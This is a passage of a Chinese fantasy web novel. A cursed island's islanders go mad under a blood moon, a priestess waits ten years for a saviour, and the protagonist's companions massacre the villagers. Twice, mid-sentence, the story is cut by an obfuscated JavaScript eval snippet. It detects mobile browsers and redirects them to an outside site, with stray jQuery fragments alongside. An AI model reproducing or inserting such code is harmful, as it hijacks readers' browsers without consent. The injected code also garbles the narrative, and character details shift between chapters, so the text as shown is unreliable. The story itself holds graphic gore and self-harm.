“让我忍受每个月的疯狂,忍受那种‘疯癫的清醒’,忍受看着他们变成怪物,又变回人,然后又崩溃,又自杀……” “因为我知道,当他们清醒时,他们是爱我的。” “而我也……爱他们。” 她说完了。 海风呼啸而过,带着咸腥的气息,吹起她的长发,吹动她的裙摆。她站在那里,像一株在礁石上艰难生长的植物,脆弱,却又坚韧得不可思议。 所有人都沉默了。 就连总是快言快语的烈风煌,也抿紧了嘴唇,没有说话。 许久,九如才开口,声音有些沙哑: “守渊者……他带来了什么?” 紫珠从回忆中抽离,眼神重新聚焦。 “黄金果子。”她说,“一种我从没见过的果实,金黄色的,像小太阳一样发光。他说这是他从‘深渊之门’附近找到的,能暂时压制血月的诅咒。” “我们一开始不相信。毕竟,三百年来,我们试过无数方法,吃过无数草药,求过无数神明……都没有用。” “但他很坚持。他挑选了一批身体最强的士兵,让他们吃下黄金果子。” “那天晚上,血月如期升起。” “全岛疯狂,唯独那些吃了果子的士兵……保持了清醒。” 紫珠的眼睛亮了起来,那是真正看到希望的光芒: “他们真的没有发疯!他们能正常思考,正常行动,甚至能帮助我维持秩序,阻止其他岛民伤害自己!” “我们欣喜若狂,以为终于找到了解药。” “但是……” 她的眼神黯淡下去: “果子的后遗症很大。” “第二天,那些士兵开始剧痛。不是普通的疼痛,而是从骨头里渗出来的、像是每一寸血肉都在被火焰灼烧的剧痛。他们在地上打滚,惨叫,用头撞墙,甚至有人想要自杀来结束痛苦。” “守渊者说,这只是初步研发阶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109778|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段,果子还不完美,后遗症太大。他需要时间改良,需要找到消除后遗症的方法。” “我们愿意等。只要能解除诅咒,等多久我们都愿意。” “但他却说……他不能留在这里。” 紫珠的声音低了下去,带着失落: “他说他只是路过,只是来还一个故人的遗愿。见我年幼,又见我手腕上的圣女之印,才动了恻隐之心,留下黄金果子和……十年之约。” “他说,若十年后他还能活动,就会来找我,带来新的、没有后遗症的果子。” “然后,他就走了。” “一走,就是十年。” 她抬起头,看向九如,眼神复杂: “我等了十年。每个月,看着血月升起又落下;每个月,看着岛民疯狂又清醒;每个月,看着又有人承受不住记忆,选择结束生命……” “我一直等,一直等。” “直到今天,你们来了。” 所有人都看向九如。 那目光里有期待,有疑惑,有审视,还有一丝……连他们自己都没有察觉到的希望。 九如被看得有些不自在。 他揉了揉眉心,无奈地说:“我说了很多次了,我不是他。我也在找他。如果你们想找守渊者,我可以帮你们一起找,但我真的不是他。” 紫珠看着他,看了很久,然后轻轻点头: “我知道你不是他。” “你的眼睛是黑色的,他的眼睛是金色的。你的头发是黑色的,他的头发是白色的。你的气质……也和他不一样。” “但你们长得很像。” “非常像。” 她顿了顿,问:“他……可留了什么东西给你?或者,你有没有什么东西,是他留给你的?” 九如想了想,从怀中掏出了两样东西。 一样是承影剑——青光流转,剑尖一点红芒。 一样是那条石头小蛇——镇魂蛇的核心,非宝临消散前交给他的。 紫珠看到承影剑时,眼睛一亮:“这是他的剑!我认得!虽然颜色不一样,但形状、气息……一模一样!” 但看到石头小蛇时,她愣住了。 “这是……镇魂蛇?”她喃喃道,“守渊者大人的灵兽……怎么会……” 九如简单解释了圆合城的事,解释了非宝的消散,解释了这石头小蛇的来历。 紫珠听完,沉默了很久。 然后,她解下腰间别着的那根芦苇,递给九如: “他走之前,给了我这个。他说,如果十年后他没能来,如果有人带着他的剑来找我,就把这个交给那个人。” 九如接过芦苇。 很普通的一根芦苇,三尺长,顶端带着几片干枯的叶子。芦苇杆已经有些发黄,摸上去干涩粗糙,像是随时会碎掉。 “他一直让我好好保存。我一直带在身边,每天用圣水滋养它,它一直保持着翠绿。” “但最近……不知道为什么,它开始枯萎了。” 紫珠的声音里带着不安: “无论我用多少圣水,无论我多么小心地呵护,它还是一天天干枯下去。像是……像是它的生命力在迅速流逝,像是……和什么东西的联系在减弱。” 九如看着手中的芦苇,有些无语。 这什么意思? 守渊者给他留了一根……草? 一根快要枯死的草? 他正想说什么,突然感觉手中的芦苇微微震动了一下。 很轻微,但确实震动了。 像是……感应到了什么。 九如心中一凛,正要仔细感应,突然—— “呜——呜——” 低沉的、像是从地底深处传来的号角声,骤然响起。 那声音古老而苍凉,带着一种不祥的预兆,瞬间传遍了整座岛屿。 紫珠的脸色瞬间变了。 她猛地抬头看向天空—— 落日已经完全沉没,夜幕降临。但本该是深蓝色的夜空,此刻却泛着诡异的暗红色。一轮圆月正在天边升起,但那月亮的颜色……是血红色的。 像一只巨大的、充血的眼睛,冷冷地俯视着人间。 “潮汐……”紫珠的声音在颤抖,“提前了……” 九如的脸绿了:“不是吧……这么巧?!” 远处,开始传来嚎叫声。 不是人类的嚎叫,更像是野兽垂死的哀鸣,痛苦,疯狂,充满绝望。一声接一声,从岛屿的各个方向传来,迅速连成一片,像是整座岛都在尖叫。 “快!准备!”烈风煌第一个反应过来,修罗刀已握在手中。 白砚也握紧了金杵,虽然重伤未愈,但眼神坚定。 芒种吓得缩在烈风煌身后,小手紧紧抓着她的衣角。 紫珠深吸一口气,强迫自己冷静下来: “别怕,我白天已经洒了圣水。圣水的气味可以形成屏障,他们虽然会疯癫,但动不了,不会伤害彼此……” 话音未落,远处的树林中,冲出了一群人。 不,那已经不是“人”了。 他们的眼睛一片血红,没有瞳孔,没有眼白,只有纯粹的、疯狂的血色。他们的脸上扭曲着痛苦和狰狞的表情,嘴角流着涎水,有些还挂着鲜血——不知道是自己的,还是别人的。 他们的动作僵硬而迅猛,像是被无形的线操控的木偶,跌跌撞撞,却又速度极快地向这边冲来。 最前面的是一个中年男人,他手中握着一块尖锐的石头,一边冲一边嘶吼:“杀……杀了你们……全都杀了……” 紫珠的脸色瞬间惨白如纸。 “怎么会这样……”她喃喃道,声音里满是难以置信,“圣水……圣水也不管用了吗……” 她猛地转身,看向手中的芦苇。 那根芦苇,在血月的光芒下,正以肉眼可见的速度迅速枯萎。 翠绿褪去,黄色蔓延。 叶片碎裂,茎杆干瘪。 像是……有什么东西,在抽干它最后的生命力。 而随着芦苇的枯萎,远处那些疯狂的人群,冲得更快了。 他们突破了圣水的气味屏障,突破了理智的最后防线,像潮水一样,向礁石之地涌来。 九如握紧承影剑,看向紫珠,又看向手中的芦苇,又看向天边那轮血色的圆月。 心中只有一个念头: 这十年之约…… 怕是早就已经, 崩坏了。 14. 血月潮汐崩离时(二) 剑光如电,人影如潮。 九如被汹涌的疯癫人群淹没,像一片孤舟在暴怒的海浪中沉浮。承影剑在他手中化作青色的流光,每一剑都精准地斩向扑来者的关节、穴位——不是杀人,是制服。剑背击碎腕骨,剑柄撞晕太阳穴,剑身横扫腿弯。骨头碎裂的闷响和痛苦的闷哼此起彼伏,但那些声音很快就被更疯狂的嘶吼淹没。 这些人已经不是人了。 他们的眼睛完全被血色覆盖,瞳孔消失,只剩两汪深不见底的血潭。涎水从嘴角流下,混合着鲜血——有的是咬破自己嘴唇流的,有的是在撕扯中从别人身上撕下的。他们的皮肤下,黑色的纹路像活物一样蠕动,从胸口蔓延到四肢,再到脸庞,将一张张原本鲜活的脸扭曲成恶鬼的面具。 一个中年男人扑上来,双手如铁钳般掐向九如的脖子。九如侧身避过,反手一剑斩在他手臂的麻筋上。男人手臂一软,但另一只手已经抓向九如的胸口,五指成爪,指甲乌黑尖锐,带着腥风。 九如一脚踹在他腹部,将他踢飞数丈。男人摔在地上,却像感觉不到疼痛一样,立刻爬起,嘶吼着再次冲来。 与此同时,侧面又有三人扑至。 九如深吸一口气,灵力在经脉中奔涌,承影剑嗡鸣震颤。他旋身,剑光划出一个完美的圆弧—— “铛!铛!铛!” 三声脆响,三把不知从哪捡来的生锈砍刀被齐齐斩断。断刃飞旋,在月光下闪着寒光。但那三人毫不在意,扔掉刀柄,赤手空拳继续扑来。 他们的指甲就是武器,牙齿就是利器。 九如且战且退,眼角余光瞥见紫珠那边的情况。 紫珠站在一块稍高的礁石上,脸色苍白如纸。她咬破自己的手腕,鲜血汩汩流出,滴落在她脚下的礁石凹坑里。她用手指蘸血,在空中画出一个复杂的符文—— “以圣女之血,唤尔等清明!” 符文亮起银色的光芒,光芒如水波般扩散,扫过周围的人群。 奇迹发生了。 那些疯狂扑来的人,动作突然顿住。 他们眼中的血色褪去一丝,露出一瞬的清明。脸上的狰狞和痛苦暂时消失,取而代之的是茫然,是困惑,是……恐惧。 “我……我在干什么?”一个年轻女子看着自己鲜血淋漓的双手,喃喃道。 “紫珠……岛主?”一个老人认出了礁石上的少女,浑浊的眼睛里流下泪水。 “救救我……我不想……”一个孩子蜷缩在地上,瑟瑟发抖。 这一瞬,只有三息。 三息之后,黑色的纹路重新爬满他们的皮肤,血色再次淹没瞳孔。茫然和恐惧被更深的疯狂取代,嘶吼声更加凄厉,动作更加狂暴。 “不——!”紫珠尖叫,再次割破手腕,更多的鲜血涌出。 但这一次,符文的光芒更弱,持续的时间更短。 只有一息。 人群只是微微一滞,便再次扑来。 紫珠踉跄后退,背靠礁石,绝望地看着眼前的一切。她的手腕鲜血淋漓,脸色因失血过多而苍白,但那双浅紫色的眼睛,依旧死死盯着九如。 “你真的没有果子吗?” 她的声音不大,却清晰地穿透了疯狂的嘶吼,传到九如耳边。 “这十多年,我见过无数外来者,骗我的,抢我的,害我的……只有你最像他。” 她顿了顿,声音里带着一种近乎卑微的恳求: “如果你有,我恳求你救救他们。哪怕只有一颗,哪怕只能救一个人……我愿为奴为马,追随你此生。我的命,我的血,我的一切,都可以给你。” 九如一剑荡开三个扑来的疯癫者,喘息着后退,与紫珠背靠背站在一起。 他能感觉到她身体的颤抖,能闻到她身上浓烈的血腥味,能听到她急促而虚弱的呼吸。 “抱歉。” 他说,声音沙哑而疲惫: “我真的不是他。” “我只是他身边的一个小跟班——如果连这个身份也算得上的话。我连自己的记忆都不完整,连自己是谁都弄不清楚。我也在寻找他,比你们任何人都更迫切地想找到他。” “但我真的……没有果子。” 话音落下,紫珠眼中的光芒,彻底暗了下去。 那不是失望,不是愤怒,而是……某种支撑了她十年的信念,轰然崩塌的声音。 她看着九如,看了很久,然后轻轻笑了。 那笑容很淡,很轻,像是即将消散的雾气。 “是吗……”她喃喃道,“原来……连最后的希望,也是假的。” 就在这时,一个肥胖的女人从人群中冲出。 她至少有三百斤重,像一座移动的肉山,每一步都让地面震颤。她的脸上满是血污,眼睛里没有一点清明,只有纯粹的、吞噬一切的疯狂。 她扑向紫珠。 不是攻击,是……拥抱? 不,是撕咬。 她张开嘴,露出被血染红的牙齿,狠狠咬在紫珠的脖子上! “噗嗤——” 皮肉撕裂的声音。 鲜血喷涌而出。 紫珠闷哼一声,身体剧烈颤抖,却没有反抗。 她只是看着九如,眼神平静得可怕。 九如脸色大变,挥剑就要斩向那胖女人——这次不是制服,是真的要杀人。剑锋直指女人的后颈,这一剑下去,足以斩断她的头颅。 但紫珠伸出了手。 她握住了九如的手腕。 那只手很凉,很轻,却异常坚定。 “你既然不是他,”她说,声音因脖颈被咬住而变得含糊,却依旧清晰,“那请离开。” 九如愣住。 “什么?” “离开白骨岛。”紫珠一字一句地说,“这里的事,与你无关。你走吧。” 烈风煌在不远处听到这句话,急得跳脚:“?这个时候你还赶人?你是不是疯了?!” 白砚却听懂了。 他一把拉住烈风煌,沉声道:“她是认真的。” “什么意思?” “我们是外来者。”白砚看着紫珠,眼神复杂,“在岛民眼中,外来者只有两种——要么是守渊者那样来救人的,要么是来乘火打劫的。我们既没有救人,又参与了战斗,还知道了岛上的秘密……如果我们留下,只会让事情更复杂。” 他顿了顿,补充道:“而且,她可能……不想让我们看到她死。” 烈风煌愣住了。 她看向紫珠。 紫珠的脖子被胖女人死死咬着,鲜血顺着她的肩膀流下,染红了粉色的长裙。她的脸色白得像纸,嘴唇失去血色,但眼神依旧平静,甚至……有一种解脱般的释然。 她在等死。 在等这个疯癫的岛民,吸干她的血,结束她的生命。 结束这十年的等待,结束这每月的折磨,结束这……无尽的责任。 “你……”烈风煌张了张嘴,却说不出话。 九如握着剑,手在微微颤抖。 他看着紫珠,看着那个咬住她脖子的胖女人,看着周围那些疯狂嘶吼、互相撕扯的人群。 这些人,白天还是鲜活的生命。 他们头顶圆盘,赤脚走在沙滩上,笑容单纯而快乐。他们围着白色建筑欢呼,洒水祈福,庆祝落灯节。他们中的一些人,可能还给过他们水果,给过他们善意的微笑。 但现在,他们是怪物。 是披着人皮的恶鬼。 可他们,也是受害者。 是三百年前某个诅咒的牺牲品,是每月的疯狂中挣扎的可怜人,是清醒后要面对自己罪孽的绝望者。 如果他就这样离开…… 如果他就这样眼睁睁看着紫珠被咬死,看着这些人自相残杀到黎明…… 那他和那些乘火打劫的外来者,有什么区别? “你一个人制止不了这么多人的。”九如说,声音低沉,“就算他们是你的岛民,就算你想用自己的命换他们的清醒……但如果你死了,他们就彻底没希望了。” “圣女之血断了传承,圣水再也没有了。” “下一次血月,下下一次血月……他们会彻底疯狂,直到所有人都死光,或者直到这座岛变成真正的地狱。” 紫珠看着他,浅紫色的眼睛里,有什么东西在闪烁。 是泪光。 但她没有哭。 她只是轻轻摇了摇头,松开了握住九如的手。 意思很明显: 走吧。 就在这时,异变发生了。 那个咬住紫珠脖子的胖女人,突然松开了嘴。 她抬起头,脸上的疯狂之色如潮水般褪去。黑色的纹路从她皮肤下消失,血色的眼睛恢复了清明。她茫然地看着四周,看着自己满手的血,看着紫珠脖子上那个狰狞的伤口,然后—— “岛主……我……我做了什么……” 她颤抖着,后退,跌倒,然后嚎啕大哭。 紫珠捂住脖子,鲜血从指缝间涌出。但她没有看自己的伤口,而是死死盯着那个胖女人,又猛地转头看向九如。 她的眼睛,亮得吓人。 “你的血……”她喃喃道,“不对……是……是剑……承影剑……守渊者的剑……” 她像是明白了什么,又像是什么都没明白。 但她的眼神,重新燃起了希望。 “只有守渊者能救我们。”她说,声音因失血而虚弱,却异常坚定,“你如果不是他,请离开。” 这一次,她的语气不再是恳求,而是……命令。 烈风煌气笑了。 她一把甩开白砚的手,修罗刀在月光下闪着寒光: “找死没见过你这么勤快的。行,成全你。” 她转身就走,步伐决绝。 白砚看了看九如,又看了看紫珠,叹了口气,也跟了上去。 但九如没有动。 他站在原地,看着紫珠,看着那个跪在地上哭泣的胖女人,看着周围那些依旧在疯狂嘶吼、互相撕扯的人群。 一个老人扑倒了一个孩子,张口咬向孩子的脖颈。 一个女人用石头砸向自己的丈夫,一下,两下,颅骨碎裂的声音清晰可闻。 两个年轻男子扭打在一起,其中一个掐住了另一个的脖子,眼看他就要窒息而死。 这些人在白天,可能还是慈祥的祖父,温柔的母亲,友善的邻居。 但现在,他们是野兽。 披着人皮的野兽。 九如握紧了承影剑。 剑身微微震颤,青光流转,剑尖那点红芒,在血月下格外鲜艳。 烈风煌走出十几步,回头看到九如的姿势,心道不好: “喂!你不是吧!救世主不是这么当的啊!” 但已经晚了。 九如动了。 不是向前,也不是向后。 而是……向内。 他反手握剑,剑尖对准了自己的左肩。 没有犹豫,没有迟疑。 一剑,刺入。 “噗嗤——” 剑锋穿透皮肉,刺穿骨头,从背后透出。 剧痛如海啸般席卷全身,九如闷哼一声,额头瞬间布满冷汗。但他没有停。 他拔出剑,鲜血如泉涌般喷出,在月光下划出一道凄美的弧线。 然后,他举起了手中的芦苇。 那根已经干枯得几乎要碎裂的芦苇,被他握在染血的手中。 他挥动芦苇,像紫珠洒圣水那样,将喷涌而出的鲜血,洒向空中。 但诡异的事情发生了。 那些洒出的血,没有落下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109779|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 它们在空气中凝固,冻结,化作无数细小的、红色的冰珠。冰珠悬浮在空中,像一片血色的星海,在月光下闪烁着妖异的光芒。 九如再次挥动芦苇。 这一次,是向前。 血色的冰珠,如暴雨般射向那些疯狂的人群。 “噗、噗、噗……” 冰珠击中皮肤,瞬间融化,渗入体内。 神奇的事情发生了。 第一个被击中的,是那个掐住别人脖子的年轻男子。 他手上的力道突然松了。 眼中的血色如潮水般褪去,黑色的纹路从皮肤下消失。他茫然地看着自己的手,看着那个被他掐得脸色发紫的同伴,然后惊恐地后退,一屁股坐在地上,浑身发抖。 第二个,第三个,第十个…… 所有被血色冰珠击中的人,都在瞬间恢复了清明。 他们停下撕扯,停下嘶吼,停下所有疯狂的动作。 他们茫然地站在原地,看着自己鲜血淋漓的双手,看着周围地狱般的景象,看着彼此脸上的血污和伤口。 然后,崩溃。 哭声,尖叫声,崩溃的嘶吼声,取代了之前的疯狂。 但这至少……是清醒的崩溃。 是人类的崩溃。 紫珠看着这一切,眼中爆发出难以置信的光芒。 那光芒太亮,太灼热,像是要将她整个人都点燃。 她捂住脖子上的伤口,踉跄着走向九如,每一步都摇摇欲坠。 “果然是你……”她喃喃道,声音因激动而颤抖,“我就知道……我就知道你肯定会来……” “十年……我等了十年……” “你终于来了……” 她伸出手,想要触碰九如。 但九如此刻,已经听不见任何声音了。 大量失血带来的眩晕感,像潮水般淹没了他。眼前的景象开始模糊,声音开始远去,身体的感知开始消失。 在彻底失去意识前,他看到了一个画面。 一个……记忆的碎片。 白发,金瞳。 那个无数次出现在他梦中的人,此刻无比清晰地站在他面前。 但不是站在白骨岛,而是站在一片陌生的、开满金色花朵的田野里。 他弯着腰,手中拿着一个金色的果子——正是紫珠描述的那种黄金果子。果皮已经被撕开,露出里面瓣瓣分明的果肉,在阳光下闪着诱人的光泽。 他把果子递给一个小女孩。 小女孩约莫七八岁,穿着破旧的衣服,脸上脏兮兮的,但眼睛很亮,像两颗紫色的宝石。 是紫珠。 年幼的紫珠。 守渊者蹲下身,与紫珠平视。他张了张嘴,说了些什么。 太远了,听不清。 九如想靠近,想听清他在说什么。 但一股无形的屏障挡住了他。 他拼命向前冲,拼命想要突破屏障,想要看清守渊者的脸,想要听清他的话—— 就在这时,一声怒吼,将他从那个画面中猛地拽了出来。 “你们敢——!!” 是烈风煌的声音。 九如猛地睁开眼睛。 眼前的景象,让他浑身血液瞬间冻结。 烈风煌倒转修罗刀,刀刃狠狠劈在一个扑向九如的岛民头上。 “噗嗤——” 人头落地。 圆滚滚的,瞪大着眼睛的人头,在地上滚了几圈,停在九如脚边。 鲜血如喷泉般从无头的脖颈中涌出,染红了白色的沙地。 时间仿佛静止了一瞬。 然后,崩溃。 那些刚刚恢复清明的岛民,看着那颗人头,看着喷涌的鲜血,看着提刀而立的烈风煌—— 他们的眼睛,再次被血色覆盖。 但这一次,不是疯狂的血色。 是愤怒的血色。 是仇恨的血色。 “杀了她——!” “为阿虎报仇——!” “外来者杀人啦——!” 嘶吼声震天动地。 这一次,他们扑向的不是彼此,而是九如。 他们张开嘴,露出獠牙——那獠牙不是幻觉,是真的,从牙龈中刺出,乌黑尖锐,带着腥臭的气息。 他们想要吃了九如。 想要吃了这个刚刚用鲜血救了他们的人。 白砚怒吼,金杵横扫,将一个扑来的岛民击飞: “没救了!竟然想吃九如,真是一群无药可救的恶鬼!” 烈风煌跳向空中,修罗刀在她手中化作一片银色的风暴。 她不再留情。 刀光每一次闪烁,都有一颗人头落地,都有一具尸体倒下。 “既然不愿再人间,”她的声音冰冷如霜,“那就下地狱吧。” 几个瞬息间,外围的岛民已经倒下一片。 像被收割的麦子,像被撕碎的布偶。 肢体断裂,内脏流出,黑色的血液汇聚成小溪,在白色的沙地上蜿蜒流淌,最终渗入地下,只留下暗红色的污迹。 紫珠双手捂头,发出凄厉到极致的尖叫: “啊啊啊——疯了!都疯了——!!” 那尖叫声不似人声,更像某种濒死野兽的哀嚎,穿透夜空,刺破耳膜。 九如站在原地,看着眼前的景象。 遍地残尸。 破碎的肢体,滚落的人头,流淌的鲜血。 还有那些依旧在扑来的、眼睛血红的岛民。 和提刀而立、浑身浴血的烈风煌,握杵喘息、脸色苍白的白砚。 还有跪在地上、崩溃尖叫的紫珠。 他张了张嘴,声音干涩得像砂纸摩擦: “你们……” “干了什么?” 15. 血月潮汐崩离时(三) 白骨岛的晨风本该带着海盐的清新,此刻却弥漫着铁锈与灰烬的腥气。那气味黏稠厚重,仿佛有形有质,压在每个人的肺腑之间。 九如跪在被血浸透的沙地上。 沙砾原本是细腻的米白,此刻却红黑斑驳,像一块打翻了的调色盘,只不过调色的是生命。他指尖残留着昨夜试图压制诅咒时割开的伤口,失血过多的眩晕感如潮水般阵阵袭来。每一次呼吸都牵扯着胸腔深处的钝痛——那痛不只是□□的,更像是某种古老而破碎的东西,在他骨髓深处龟裂。 承影剑插在身侧,剑身黯淡得几乎与凡铁无异。那柄自无尽重生中苏醒便跟随他的本命神剑,此刻灵力微弱如风中残烛。九如记得在昆丘山黑塔之上,承影曾一剑斩破三百年的轮回幻境,剑光如天河倒悬。而今,它只是沉默地立在血沙里,像个疲惫的老人。 “杀了他!为族人报仇!” 幸存的岛民在远处聚集。他们猩红的眼睛在日光下仍未完全褪去疯狂,但仇恨已凝成实质,像淬毒的矛尖,直指那个站在礁石上的身影——烈风煌。 烈风煌立在嶙峋的黑色礁石顶端,手中那柄修罗道传承的重剑仍在滴血。血液顺着剑脊蜿蜒而下,在晨光中凝成暗红色的珠串,一颗颗砸进下方浪涛里。他周身煞气未散,衣袍被血浸透后硬挺挺地贴着身躯,海风吹过时,竟发出皮革般的摩擦声。可他的眼神却是空洞的,空洞地望着海天相接处那片灰白,仿佛昨夜挥剑斩杀的,不过是些会走动的稻草人。 “够了。” 白砚挡在双方之间。他左臂上的衣袖不知何时撕裂了,裸露的小臂上,那道“反噬魂咒”正像活物般蜿蜒蠕动。咒文是深紫色的,边缘泛着不祥的黑气,随着每一次脉搏的跳动,都在皮肉下钻得更深一分。昨夜在桃花村击伤镇魂蛇时,这咒文初次显现;如今,它已从手腕蔓延至肩颈,每一次发作都带来剜骨蚀心之痛。白砚额角渗出冷汗,声音却竭力维持平静: “烈风煌失控是为了保护九如。真正的敌人是诅咒,是让你们变成野兽的血月!” “保护?” 这声音嘶哑破碎,像破旧风箱的最后一次抽动。 紫珠跪在不远处。她怀中抱着一个死去的孩童——那孩子不过五六岁,昨夜还曾怯生生地扯着她的圣女袍角,问“姐姐,月亮为什么红了”。此刻,孩童的小脸苍白如纸,额前有个洞,不深,却足够致命。紫珠的白色圣女袍被血染成暗红,那些血迹早已干涸板结,像无数张嘲笑的嘴。 她抬起头,看向九如。 十年。她在这座被诅咒的岛上苦守了整整十年。每个血月之夜,她割开手腕,将自己的血混入圣坛的祭酒;每个清醒的白日,她安抚着恐惧的岛民,重复着那个守渊者留下的承诺:“再等等,等金瞳指引之人到来,诅咒便能解除。” 十年信仰,一朝崩毁。 “你说你是守渊者等待的人……”紫珠的声音很轻,轻得像怕惊扰怀中死去的孩子,“你说你能救我们……这就是结果?” 她眼中最后的光熄灭了。那不是愤怒,不是仇恨,甚至不是绝望——而是一种彻底的死寂。就像深井底部最后一丝涟漪散去,只剩一潭黑水,再映不出天空。 芒种紧紧攥着九如的衣袖。她的手很小,很冰,抖得厉害。这个从桃花村活人祭坛上被救下的少女,一路跟随他们穿越绿洲陷阱、什刹海鬼龟、昆丘山黑塔,目睹了太多死亡与疯狂。昨夜白骨岛的屠杀,是她见过最彻底的人间地狱。她想说什么,嘴唇嚅动着,却发不出声音。只有眼泪无声地流,在沾满烟灰的小脸上冲出两道白痕。 九如闭上眼。 不是不想看,是不敢看。 闭上眼,那些记忆碎片便汹涌而来——无尽的重生,每一次苏醒都更破碎的过往,时间与空间在他识海里搅成混沌的漩涡。唯有那双金瞳与白发的幻影,像锚点,像灯塔,烙印般清晰。 可那幻影从不说话。它只是静静看着他,在无数个轮回的尽头,在记忆碎片的缝隙里。 白骨岛的诅咒,镇魂蛇的核心,守渊者的传说……这一切,与他破碎的根源,究竟如何缠绕? “我……” 九如开口,声音虚弱得连自己都陌生。他强迫自己看向紫珠,看向那些幸存的、眼中燃烧着仇恨的岛民,看向沉默如石像的烈风煌,看向手臂剧痛却仍挺立的白砚。 “我不是守渊者。” 这句话说出口的瞬间,有什么东西在他胸腔里彻底碎了。不是突然的崩裂,而是缓慢的、早有预兆的瓦解——就像冰面下暗流涌动数月,终于在某一步踏出时,轰然塌陷。 “我只是……一直在找他的人。” 紫珠空洞的眼睛望着他。那眼神让九如想起圆合城黑塔里那些被囚禁三百年的魂魄——没有恨,没有怨,只是彻底抽空后的茫然。 “那你为什么来?”她问,声音轻得像叹息,“为什么带着那把剑,为什么能暂时压制诅咒,为什么……要给我希望?” 九如答不上来。 他低头看自己的手。这双手曾握剑斩妖,曾结印破阵,曾在无数个轮回里染过血也救过人。可他从不记得自己是谁。记忆像一本被撕碎又胡乱拼凑的书,前后颠倒,章节错乱,只有扉页上那行字始终清晰: 寻找金瞳白发之人。 那是他存在的全部意义,也是他迷失的全部原因。 烈风煌从礁石上跃下。重剑归鞘时发出刺耳的金属摩擦声,像野兽磨牙。他走到九如面前,高大的身影挡住了一半晨光,在九如脸上投下暗影。 “想的到多。”烈风煌的声音很冷,是那种经历过太多杀戮后特有的、剥离情感的冷,“这里发生的一切本来就跟你无关。谁让你操这闲心?你又不是那个人,管他干嘛。” 九如抬起头。 烈风煌的眼睛是深褐色的,此刻却泛着一种近乎非人的赤金——那是修罗道血脉在杀戮后沸腾的征兆。昨夜,就是这双眼睛,在岛民疯狂扑向失血虚弱的九如时,骤然燃起暴虐的火焰。然后,重剑出鞘。 九如记得那些画面,像一帧帧染血的剪影: 一个老妇人举着鱼叉刺来,烈风煌反手一剑,从肩到腰斜劈成两半。 三个壮年男子嘶吼着扑上,重剑横扫,头颅飞起时血喷如泉。 有个孩子——就是紫珠怀里那个——在血月影响下捡起石块砸向九如后脑。烈风煌甚至没回头,剑鞘向后一击,颅骨碎裂的闷响。 “他们只是疯了……”紫珠那时哭喊着。 烈风煌的回答九如记得清清楚楚,字字如刀:“疯了就能杀人?那我也疯了,这些人我也杀得,你又有什么立场来质问?” 是啊,什么立场? 九如看着紫珠。这位圣女十年前也不过是个少女吧?被迫承担起整个族群的希望,每个血月之夜献出自己的血,痛不欲生却无处诉说。她苦等着那个传说中的守渊者,像溺水者抓住最后一根稻草。然后,等来了九如——一个记忆破碎、连自己是谁都不知道的冒牌货。 “对不起……” 九如低下头。海水漫过他的膝盖,冰冷刺骨。他看见自己倒映在水中的脸:苍白,憔悴,眼下一片青黑。这张脸在无数个轮回里出现过,有时年轻,有时苍老,有时是男子,有时甚至是女子。唯有那双眼睛——那双他自己也看不见颜色的眼睛——始终迷茫。 “我……我不是他。”九如的声音越来越低,低到几乎被海浪声吞没,“对不起……我无法回答你。很多时候我也不知道自己做的到底对不对,不知道如何面对这个陌生的世界。我也想尽力救下能救的人,可是……” 可是事与愿违。 他总是在搞砸。在绿洲,他识破陷阱却害得白砚中毒;在什刹海,他为救鬼龟腹中亡魂险些被拖入深渊;在桃花村,他破除活人献祭却引来了守渊者灵兽的追杀;在昆丘山,他终结黑塔轮回却让非宝——那个三百年孤独的塔灵——彻底消散。 每一次,他都想选对的路。 每一次,结局都沾满鲜血。 烈风煌一把抓住他的胳膊。那手劲极大,五指像铁钳,捏得九如骨头发痛。 “别想了。”烈风煌盯着他,赤金色的眼睛里有什么复杂的东西一闪而过,“这里的事结束了。诅咒没解,人死了大半,岛也废了。你不是救世主,我也不是。我们只是路过。” “可是——” “没有可是。”烈风煌打断他,语气斩钉截铁,“你看看她。” 他指向紫珠。 紫珠还抱着那个孩子。她开始轻轻摇晃,像在哄睡,嘴里哼着不成调的曲子。那是白骨岛的古老谣曲,关于海洋、月亮和归家的路。她的声音很轻,很柔,却让听的人脊背发寒。 周围的岛民渐渐安静下来。他们看着圣女,看着那些尸体,看着自己手上、身上干涸的血迹。昨夜疯狂时的记忆如潮水涌回——记得自己如何撕咬亲人,如何挥舞利器,如何像野兽般嚎叫。 然后,哭声响起。 起初是压抑的呜咽,像受伤的动物。接着是嚎啕,是捶胸顿足的悲鸣,是撕心裂肺的呼唤死者的名字。整个海滩变成一片哀恸的海洋,那声音比昨夜疯狂的嘶吼更令人窒息。 “娘啊,怎么会这样啊……” “我的孩子啊!!你睁开眼看看爹爹……” “阿妹,阿妹你醒醒,哥带你回家,我们回家……” 九如浑身颤抖。 他想做点什么,说点什么,可喉咙像被什么堵住了。他看见一个中年男人抱着妻子的尸体,一遍遍擦拭她脸上的血污;看见一个少女跪在弟弟的断肢旁,想拼凑却怎么也拼不完整;看见一个老人瘫坐在沙地上,望着海面,眼神空洞得像两个窟窿。 烈风煌的手又加重了力道:“走吧。现在走,他们还能把恨意集中在‘外来的屠夫’——也就是我身上。你若再留,他们会把你也恨进去。到那时,这岛就真的一点希望都不剩了。” 